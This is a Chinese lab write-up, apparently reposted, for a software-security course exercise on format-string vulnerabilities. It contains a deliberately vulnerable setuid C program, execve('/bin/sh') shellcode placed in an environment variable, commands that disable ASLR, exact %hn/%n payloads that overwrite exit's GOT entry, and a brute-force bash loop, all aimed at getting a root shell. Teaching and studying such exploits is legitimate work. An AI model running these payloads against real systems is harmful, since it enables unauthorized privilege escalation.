软件安全实验——lab4(格式化字符串,修改内存地址运行shellcode获取root权限)

Posted 大灬白

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了软件安全实验——lab4(格式化字符串,修改内存地址运行shellcode获取root权限)相关的知识,希望对你有一定的参考价值。

Format-String后续的一些分析,有些步骤、利用细节没看懂的可以参考:
格式化字符串实验lab后记(原理、漏洞利用过程逐步分析)

Lab4 Format-String Vulnerability Lab (2)

Format string这个lab分两节课,第二节课的内容为:

Source code:

/*
* 如果获得环境变量的程序和攻击的程序的文件名长度不一样,环境变量的地址
* 会发生偏移。因此,要么令两个程序的文件名长度相等(推荐),要么考虑偏
* 移来计算环境变量地址。
* gcc -z execstack -o got got.c
*/
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv) 
{
	char buf[1024];

	strncpy(buf, argv[1], sizeof(buf) - 1);
	printf(buf);  //没有格式化参数%s,可以输入地址
	puts("done");
	exit(0);
}

利用root把上面这段代码编译并且suid,然后普通用户执行它,要求就是成功获得root shell。
可以参考formatstring-1.2.pdf。

  上面的代码在调用exit(0)函数时,使用的是root权限,想要获得root权限,在这个实验中我们就要通过修改字符串的内存地址,改变程序的运行逻辑,把exit()函数的地址改成shellcode的地址,让程序运行shellcode。
  如果获得环境变量shellcode地址的程序和攻击的程序的文件名长度不一样,那么shellcode对于它们两个程序的地址也会相差几个字节。

一、获得环境变量的程序和攻击的程序的文件名长度不一样

Root权限关闭alsr:

sudo sysctl -w kernel.randomize_va_space=0

在这里插入图片描述

(1)定义一个环境变量EGG存放shellcode

export EGG=$(python -c "print '\\x90'*1000 + '\\x6a\\x17\\x58\\x31\\xdb\\xcd\\x80\\x6a\\x0b\\x58\\x99\\x52\\x68//sh\\x68/bin\\x89\\xe3\\x52\\x53\\x89\\xe1\\xcd\\x80'")

在这里插入图片描述

// \\x90*1000设置了1000个指令雪橇,可以提高命中运行shellcode的概率

(2)获取shellcode的地址

#include <stdio.h>
#include <stdlib.h>
int main(void)
{
printf("Egg address: %p ",getenv("EGG"));
}

在这里插入图片描述

//EGG的地址为0xbffff4ac

(3)查找exit函数的地址

objdump -R got(显示文件的动态重定位入口)

在这里插入图片描述

//从截图中可以找到exit函数的地址从0804a00c开始的

(4)1、用%x找到printf()中参数在栈中的位置是11

./got AAAA,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,

在这里插入图片描述

(5)将exit函数的地址修改为shellcode的地址

./vulp $(printf "\\x0e\\xa0\\x04\\x08\\x0c\\xa0\\x04\\x08")%49143x%11\\$hn%12831x%12\\$hn
其中,49143=0xbfff-8,8是前面\\x0a\\xa0\\x04\\x08\\x0e\\xa0\\x04\\x08的长度
12831=0xf4ac-0xbfff

11$是指定%hn写入第11个位置,也就是参数在栈中的位置,就不用多个%x来控制位置了
这样,脚本就会分两次在0804a00c的位置写上bfff,在0804a00e的位置写上f4ac
在这里插入图片描述
在这里插入图片描述

二、令两个程序的文件名长度相等(推荐)

编译一个文件名长度相同的,命名为./getenv,并设为suid程序。
它和漏洞程序./string的文件名长度相同,这样环境变量EGG存放的shellcode的地址对于它们是相同,就不用像之前再添加雪橇x90了。

(1)定义一个环境变量EGG存放shellcode

export EGG=$(python -c "print '\\x6a\\x17\\x58\\x31\\xdb\\xcd\\x80\\x6a\\x0b\\x58\\x99\\x52\\x68//sh\\x68/bin\\x89\\xe3\\x52\\x53\\x89\\xe1\\xcd\\x80'")

在这里插入图片描述

两个程序的文件名长度相等,不用像之前再添加雪橇x90了来提高命中率

(2)获取shellcode的地址

在这里插入图片描述

地址0xbfff f594

(3)攻击

给连续的0804a00c~e地址用%hn分两次写入2个值的攻击脚本:./string $(printf "\\x0e\\xa0\\x04\\x08\\x0c\\xa0\\x04\\x08")%49143x%11\\$hn%13717x%12\\$hn
其中,49143=0xbfff-8,8是前面\\x0a\\xa0\\x04\\x08\\x0e\\xa0\\x04\\x08的长度
13717=0xf594-0xbfff
11\\$是指定%hn写入第11个位置,也就是参数在栈中的位置,就不用多个%x来控制位置了
这样,脚本就会分两次在0804a00c的位置写上bfff,在0804a00e的位置写上f594
在这里插入图片描述

这是因为没有setuid权限

Sudo chmod 4755 string 

之后
在这里插入图片描述

给连续的0804a00c~f地址用%n分4次写入四个值的攻击脚本:(./string $(printf "x0c\\xa0\\x04\\x08\\x0d\\xa0\\x04\\x08\\x0e\\xa0\\x04\\x08\\x0f\\xa0\\x04\\x08")%156x%11\\$n%69x%12\\$n%14x%13\\$n%192x%14\\$n)

三、Root权限开启alsr:sudo sysctl -w kernel.randomize_va_space=2

#!/bin/bash
while true
do
./vulprr $(printf "\\x0e\\xa0\\x04\\x08\\x0c\\xa0\\x04\\x08")%49143x%11\\$hn%13831x%12\\$hn
done

在这里插入图片描述

脚本启动后,大概三分钟后出现了结果。
在这里插入图片描述

以上是关于软件安全实验——lab4(格式化字符串,修改内存地址运行shellcode获取root权限)的主要内容,如果未能解决你的问题,请参考以下文章

软件安全实验——lab3(格式化字符串printf)

操作系统ucore lab4实验报告

软件安全实验——pre4(格式化字符串提权预习)

ICS计算系统概论LC3汇编实验Lab4—排序和计数 Sort and Count

ICS计算系统概论LC3汇编实验Lab4—排序和计数 Sort and Count

软件安全实验——lab6(缓冲区溢出2:使用jmp esp或者call esp方法和修改函数指针)